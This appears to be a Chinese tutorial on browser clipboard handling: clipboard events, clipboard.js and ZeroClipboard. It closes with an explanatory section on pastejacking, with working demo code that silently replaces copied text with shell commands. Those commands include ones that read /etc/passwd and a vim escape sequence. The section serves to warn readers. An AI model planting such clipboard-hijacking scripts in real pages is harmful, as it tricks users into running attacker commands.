剪贴板
基于DOM 的剪贴板操作
剪贴板是界面中常见的操作之一，本文即对其进行简要小结。
剪贴板事件
利用JavaScript 复制到剪贴板
第三方库
Clipboard API
要访问剪贴板中的数据，可以通过
//获取剪贴板数据方法
function getClipboardText(event) {
var clipboardData = event.clipboardData || window.clipboardData;
return clipboardData.getData("text");
}
//设置剪贴板数据
function setClipboardText(event, value) {
if (event.clipboardData) {
return event.clipboardData.setData("text/plain", value);
} else if (window.clipboardData) {
return window.clipboardData.setData("text", value);
}
}
这个
事件监控
下面就是
-
beforecopy：在发生复制操作前触发
; -
copy：在发生复制操作的时候触发
; -
beforecut：在发生剪切操作前触发
; -
cut：在发生剪切操作的时候触发
; -
beforepaste：在发生粘贴操作前触发
; -
paste：在发生粘贴操作的时候触发。
在
<head>
<script type="text/javascript">
function OnBeforeCopy() {
alert("An onbeforecopy event has occurred.");
if (window.clipboardData) {
var data = window.clipboardData.getData("Text");
alert(
"The contents of the clipboard before the copy operation are\n" + data
);
}
}
</script>
</head>
<body onbeforecopy="OnBeforeCopy ()">
Select some text on this page and press CTRL + C!
</body>
clipboardjs: 基于Selection 与execCommand 的便捷封装
与标准的
Installation & Setup
可以基于
npm install clipboard --save
或者基于
bower install clipboard --save
安装之后直接引入即可：
<script src="dist/clipboard.min.js"></script>
Basic Usage
注意，所有的
<!-- Target --><input id="foo" value="https://github.com/zenorocha/clipboard.js.git"><!-- Trigger --><button class="btn" data-clipboard-target="#foo"><img src="assets/clippy.svg" alt="Copy to clipboard"></button>
<!--JS-->
new Clipboard('.btn');
这样就建立了基本的拷贝操作，如果是需要进行剪切操作的话：
<!-- Target --><textarea id="bar">Mussum ipsum cacilds...</textarea><!-- Trigger --><button class="btn" data-clipboard-action="cut" data-clipboard-target="#bar">
Cut to clipboard
</button>
也可以直接复制一些属性：
<!-- Trigger --><button
class="btn"
data-clipboard-text="Just because you can doesn't mean you should — clipboard.js"
>
Copy to clipboard
</button>
Event
var clipboard = new Clipboard(".btn");
clipboard.on("success", function (e) {
console.info("Action:", e.action);
console.info("Text:", e.text);
console.info("Trigger:", e.trigger);
e.clearSelection();
});
clipboard.on("error", function (e) {
console.error("Action:", e.action);
console.error("Trigger:", e.trigger);
});
Advanced Usage
如果你希望利用代码动态控制目标元素和文本内容，target，可以直接返回一个
new Clipboard(".btn", {
target: function (trigger) {
return trigger.nextElementSibling;
},
});
如果想要动态设置文本内容，可以返回一个
new Clipboard(".btn", {
text: function (trigger) {
return trigger.getAttribute("aria-label");
},
});
另外，如果你是一个单页应用，可以利用
var clipboard = new Clipboard(".btn");
clipboard.destroy();
ZeroClipboard: 基于Flash 的剪贴板控制
<html>
<body>
<button
id="copy-button"
data-clipboard-text="Copy Me!"
title="Click to copy me."
>
Copy to Clipboard
</button>
<script src="ZeroClipboard.js"></script>
<script src="main.js"></script>
</body>
</html>
<script>
// main.js var client = new ZeroClipboard(
document.getElementById("copy-button") ); client.on( "ready", function(
readyEvent ) { // alert( "ZeroClipboard SWF is ready!" ); client.on(
"aftercopy", function( event ) { // `this` === `clien // `event.target` ===
the element that was clicked event.target.style.display = "none"; alert("Copied
text to clipboard: " + event.data["text/plain"] ); } ); } );
</script>
Pastejacking: 复制劫持
笔者也是最近看到了
git clone git://git.kernel.org/pub/scm/utils/kup/kup.git
作为资深懒货，我肯定选择复制粘贴啦，然后我就
git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!
Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd
git clone git://git.kernel.org/pub/scm/utils/kup/kup.git
这种攻击方法还是基于典型的
可以看出这次没有隐藏
touch ~/.evil
clear
echo "not evil"
这次是因为它加了这么个控制脚本：
function copyTextToClipboard(text) {
var textArea = document.createElement("textarea"); // // *** This styling is an extra step which is likely not required. *** // // Why is it here? To ensure: // 1. the element is able to have focus and selection. // 2. if element was to flash render it has minimal visual impact. // 3. less flakyness with selection and copying which **might** occur if //the textarea element is not visible. // // The likelihood is the element won't even render, not even a flash, // so some of these are just precautions. However in IE the element // is visible whilst the popup box asking the user for permission for // the web page to copy to the clipboard. // // Place in top-left corner of screen regardless of scroll position.
textArea.style.position = "fixed";
textArea.style.top = 0;
textArea.style.left = 0; // Ensure it has a small width and height. Setting to 1px / 1em // doesn't work as this gives a negative w/h on some browsers.
textArea.style.width = "2em";
textArea.style.height = "2em"; // We don't need padding, reducing the size if it does flash render.
textArea.style.padding = 0; // Clean up any borders.
textArea.style.border = "none";
textArea.style.outline = "none";
textArea.style.boxShadow = "none"; // Avoid flash of white box if rendered for any reason.
textArea.style.background = "transparent";
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();
try {
var successful = document.execCommand("copy");
var msg = successful ? "successful" : "unsuccessful";
console.log("Copying text command was " + msg);
} catch (err) {
console.log("Oops, unable to copy");
}
document.body.removeChild(textArea);
}
document.addEventListener("keydown", function (event) {
var ms = 800;
var start = new Date().getTime();
var end = start;
while (end < start + ms) {
end = new Date().getTime();
}
copyTextToClipboard('touch ~/.evil\nclear\necho "not evil"');
});
防不胜防啊。这东西就好像当年某些钓鱼网站让你乱下一些
copyTextToClipboard('echo "evil"\n \x1b:!cat /etc/passwd\n');
它会利用